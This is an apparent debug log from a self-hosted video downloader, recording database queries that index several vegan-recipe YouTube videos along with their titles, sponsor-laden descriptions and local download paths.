s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.312 [debug] QUERY OK source="media_items" db=2.3ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-11 00:00:00Z], 1] 20:31:06.314 [debug] QUERY OK source="media_items" db=1.6ms idle=8.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\nIn this grocery haul I shared all of the vegan, gluten-free, and high-protein groceries that I typically buy in a week to build muscle and lose weight. This grocery haul shows off just a few of the typical vegan groceries I buy on a vegan diet. \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Groceries I ACTUALLY Buy 🛒 Healthy High Protein Vegan Grocery Haul", "faa21a8a-eadf-4b47-b0cf-1accef2369b5", 1, [], false, "8l3uTlHvweQ", "https://www.youtube.com/watch?v=8l3uTlHvweQ", 25, "/downloads/downloads/alec/Steamy Vegan/2026-01-11 Groceries I ACTUALLY Buy 🛒 Healthy High Protein Vegan Grocery Haul/Groceries I ACTUALLY Buy 🛒 Healthy High Protein Vegan Grocery Haul [8l3uTlHvweQ].NA", false, false, false, 1, ~U[2026-01-11 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\nIn this grocery haul I shared all of the vegan, gluten-free, and high-protein groceries that I typically buy in a week to build muscle and lose weight. This grocery haul shows off just a few of the typical vegan groceries I buy on a vegan diet. \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Groceries I ACTUALLY Buy 🛒 Healthy High Protein Vegan Grocery Haul", 1, nil, false, "8l3uTlHvweQ", "https://www.youtube.com/watch?v=8l3uTlHvweQ", "/downloads/downloads/alec/Steamy Vegan/2026-01-11 Groceries I ACTUALLY Buy 🛒 Healthy High Protein Vegan Grocery Haul/Groceries I ACTUALLY Buy 🛒 Healthy High Protein Vegan Grocery Haul [8l3uTlHvweQ].NA", false, ~U[2026-01-11 00:00:00Z]] 20:31:06.316 [debug] QUERY OK source="sources" db=0.9ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.318 [debug] QUERY OK source="media_items" db=1.8ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 00:00:00Z], 1] 20:31:06.320 [debug] QUERY OK source="media_items" db=1.6ms idle=8.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nLooking for some new vegan breakfast recipes that are high-protein, plant-based, gluten-free and actually fill you up? After 8 years on a vegan and gluten-free diet and 4 years creating vegan recipes on YouTube, these are my top 5 vegan breakfast recipes I'd recommend you try out. Enjoy!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nRECIPES FROM THIS VIDEO 👇🏻\n1. VEGAN SAUSAGE & EGG BREAKFAST CASSEROLE 🔗 https://steamyvegan.com/sausage-egg-c...\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\n\n2. PROTEIN CEREAL 🔗 https://steamyvegan.com/protein-cereal/\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A0Let's\u00A0make\u00A0PROTEIN\u00A0CEREAL!\u00A0🥣\u00A030g\u00A0Protein\u00A0P...\u00A0\u00A0\n\n3. VEGAN BREAKFAST SAUSAGES 🔗 https://steamyvegan.com/vegan-breakfa...\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A0HIgh-Protein\u00A0VEGAN\u00A0Breakfast\u00A0Sausage\u00A0Recip...\u00A0\u00A0\n\n4. CARROT CAKE PUMPKIN SPICE OVERNIGHT OATS 🔗 https://steamyvegan.com/pumpkin-spice...\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A03\u00A0High\u00A0Protein\u00A0Breakfast\u00A0Recipes\u00A0🍁\u00A0(Cozy,\u00A0...\u00A0\u00A0\n\n5. PROTEIN PANCAKES 🔗 https://steamyvegan.com/protein-panca...\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Protein\u00A0Pancakes!\u00A0🥞\u00A0(High\u00A0Protein\u00A0Ve...\u00A0\u00A0\n\nLooking for more recipe inspiration? Check out these other compilation videos of my top vegan recipes on my channel next:\nTop 5 Tofu Recipes: \u00A0\u00A0\u00A0•\u00A0I\u00A0eat\u00A0these\u00A0tofu\u00A0recipes\u00A0ON\u00A0REPEAT\u00A0(my\u00A0bes...\u00A0\u00A0\nTop 5 Vegan Dinner Recipes: \u00A0\u00A0\u00A0•\u00A05\u00A0Must\u00A0Try\u00A0Vegan\u00A0Recipes\u00A0to\u00A0Master\u00A0in\u00A02026!\u00A0\u00A0\n\nProducts Mentioned in this Video:\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\n💚 OTHER Exclusive Discounts on Products I Actually Use 💚\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "5 MUST TRY Healthy Breakfast Ideas 🌱 (high protein & vegan)", "64662721-c658-477a-8848-5c61b45571f6", 1, [], false, "pbmAzoOjPRM", "https://www.youtube.com/watch?v=pbmAzoOjPRM", 26, "/downloads/downloads/alec/Steamy Vegan/2026-01-09 5 MUST TRY Healthy Breakfast Ideas 🌱 (high protein & vegan)/5 MUST TRY Healthy Breakfast Ideas 🌱 (high protein & vegan) [pbmAzoOjPRM].NA", false, false, false, 1, ~U[2026-01-09 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nLooking for some new vegan breakfast recipes that are high-protein, plant-based, gluten-free and actually fill you up? After 8 years on a vegan and gluten-free diet and 4 years creating vegan recipes on YouTube, these are my top 5 vegan breakfast recipes I'd recommend you try out. Enjoy!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nRECIPES FROM THIS VIDEO 👇🏻\n1. VEGAN SAUSAGE & EGG BREAKFAST CASSEROLE 🔗 https://steamyvegan.com/sausage-egg-c...\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A03\u00A0Healthy\u00A0Meal\u00A0Prep\u00A0DUMP\u00A0AND\u00A0BAKE\u00A0Vegan\u00A0Ca...\u00A0\u00A0\n\n2. PROTEIN CEREAL 🔗 https://steamyvegan.com/protein-cereal/\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A0Let's\u00A0make\u00A0PROTEIN\u00A0CEREAL!\u00A0🥣\u00A030g\u00A0Protein\u00A0P...\u00A0\u00A0\n\n3. VEGAN BREAKFAST SAUSAGES 🔗 https://steamyvegan.com/vegan-breakfa...\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A0HIgh-Protein\u00A0VEGAN\u00A0Breakfast\u00A0Sausage\u00A0Recip...\u00A0\u00A0\n\n4. CARROT CAKE PUMPKIN SPICE OVERNIGHT OATS 🔗 https://steamyvegan.com/pumpkin-spice...\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A03\u00A0High\u00A0Protein\u00A0Breakfast\u00A0Recipes\u00A0🍁\u00A0(Cozy,\u00A0...\u00A0\u00A0\n\n5. PROTEIN PANCAKES 🔗 https://steamyvegan.com/protein-panca...\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Protein\u00A0Pancakes!\u00A0🥞\u00A0(High\u00A0Protein\u00A0Ve...\u00A0\u00A0\n\nLooking for more recipe inspiration? Check out these other compilation videos of my top vegan recipes on my channel next:\nTop 5 Tofu Recipes: \u00A0\u00A0\u00A0•\u00A0I\u00A0eat\u00A0these\u00A0tofu\u00A0recipes\u00A0ON\u00A0REPEAT\u00A0(my\u00A0bes...\u00A0\u00A0\nTop 5 Vegan Dinner Recipes: \u00A0\u00A0\u00A0•\u00A05\u00A0Must\u00A0Try\u00A0Vegan\u00A0Recipes\u00A0to\u00A0Master\u00A0in\u00A02026!\u00A0\u00A0\n\nProducts Mentioned in this Video:\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\n💚 OTHER Exclusive Discounts on Products I Actually Use 💚\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: n (truncated) 20:31:06.321 [debug] QUERY OK source="sources" db=1.0ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.323 [debug] QUERY OK source="media_items" db=1.9ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-06 00:00:00Z], 1] 20:31:06.326 [debug] QUERY OK source="media_items" db=1.8ms idle=8.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nI've been making tofu scramble for 8 years and keep making adjustments but I truly believe I've mastered tofu scramble. This vegan recipe is super popular for anyone wanting to adopt a vegan or plant-based diet and this vegan recipe is a vegan breakfast staple in our diet.\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet the recipe for my TOFU SCRAMBLE over on my blog ➡️ https://steamyvegan.com/tofu-scramble/\n\nOther Tofu Recipe Videos You Might Be Interested In:\nPesto Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\nTeriyaki Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\nTofu Sausages ➡️ \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\nGochujang and Mango Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0SAUCY\u00A0Tofu\u00A0Recipes\u00A0You\u00A0Need\u00A0in\u00A0Your\u00A0Life!\u00A0\u00A0\nMapo Tofu ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\nSesame Ginger Tofu ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nTofu Souvlaki from my Greek Meal Prep ➡️ \u00A0\u00A0\u00A0•\u00A0Greek\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A07\u00A0Vegan\u00A0Recipes,\u00A01\u00A0...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "How to Make the BEST Tofu Scramble 🍳 (8 years of testing)", "cdb296dd-ba73-4538-9f29-07ce1e0b73f0", 1, [], false, "SkT2jvklpnM", "https://www.youtube.com/watch?v=SkT2jvklpnM", 27, "/downloads/downloads/alec/Steamy Vegan/2026-01-06 How to Make the BEST Tofu Scramble 🍳 (8 years of testing)/How to Make the BEST Tofu Scramble 🍳 (8 years of testing) [SkT2jvklpnM].NA", false, false, false, 1, ~U[2026-01-06 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nI've been making tofu scramble for 8 years and keep making adjustments but I truly believe I've mastered tofu scramble. This vegan recipe is super popular for anyone wanting to adopt a vegan or plant-based diet and this vegan recipe is a vegan breakfast staple in our diet.\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nGet the recipe for my TOFU SCRAMBLE over on my blog ➡️ https://steamyvegan.com/tofu-scramble/\n\nOther Tofu Recipe Videos You Might Be Interested In:\nPesto Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\nTeriyaki Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\nTofu Sausages ➡️ \u00A0\u00A0\u00A0•\u00A0High-Protein\u00A0Vegan\u00A0Sausage\u00A0Recipe\u00A0(26g\u00A0Pro...\u00A0\u00A0\nGochujang and Mango Tofu ➡️ \u00A0\u00A0\u00A0•\u00A02\u00A0SAUCY\u00A0Tofu\u00A0Recipes\u00A0You\u00A0Need\u00A0in\u00A0Your\u00A0Life!\u00A0\u00A0\nMapo Tofu ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\nSesame Ginger Tofu ➡️ \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nTofu Souvlaki from my Greek Meal Prep ➡️ \u00A0\u00A0\u00A0•\u00A0Greek\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A07\u00A0Vegan\u00A0Recipes,\u00A01\u00A0...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "How to Make the BEST Tofu Scramble 🍳 (8 years of testing)", 1, nil, false, "SkT2jvklpnM", "https://www.youtube.com/watch?v=SkT2jvklpnM", "/downloads/downloads/alec/Steamy Vegan/2026-01-06 How to Make the BEST Tofu Scramble 🍳 (8 years of testing)/How to Make the BEST Tofu Scramble 🍳 (8 years of testing) [SkT2jvklpnM].NA", false, ~U[2026-01-06 00:00:00Z]] 20:31:06.327 [debug] QUERY OK source="sources" db=1.0ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.329 [debug] QUERY OK source="media_items" db=1.7ms idle=7.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-03 00:00:00Z], 1] 20:31:06.331 [debug] QUERY OK source="media_items" db=1.5ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThese 5 tofu recipes are my typical go-to vegan recipes that I eat in a week. If you're new to the plant-based diet or want to add a few easy vegan recipes to your rotation then these tofu recipes will be perfect for you.\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nTOFU RECIPES IN THIS VIDEO (YouTube Video & Recipe Blog Links 👇🏻)\n\n1. Sesame Ginger Tofu Recipe ➡️ https://steamyvegan.com/sesame-ginger...\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n\n2. Pesto Tofu Recipe ➡️ https://steamyvegan.com/pesto-tofu/\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A02\u00A0Air\u00A0Fryer\u00A0Tofu\u00A0Recipes\u00A0Even\u00A0Tofu\u00A0Haters\u00A0...\u00A0\u00A0\n\n3. Mapo Tofu Recipe ➡️ https://steamyvegan.com/mapo-tofu/\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A0The\u00A0tofu\u00A0recipe\u00A0you've\u00A0never\u00A0heard\u00A0of...\u00A0b...\u00A0\u00A0\n\n4. Kung Pao Tofu Recipe ➡️ https://steamyvegan.com/kung-pao-tofu/\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A0Two\u00A0MUST\u00A0TRY\u00A0Tofu\u00A0Recipes!\u00A0🌶🔥\u00A0(Ft.\u00A0@Earthy...\u00A0\u00A0\n\n5. Hawaiian BBQ Tofu Recipe ➡️ https://steamyvegan.com/hawaiian-bbq-...\nYouTube Video 🔗 \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: 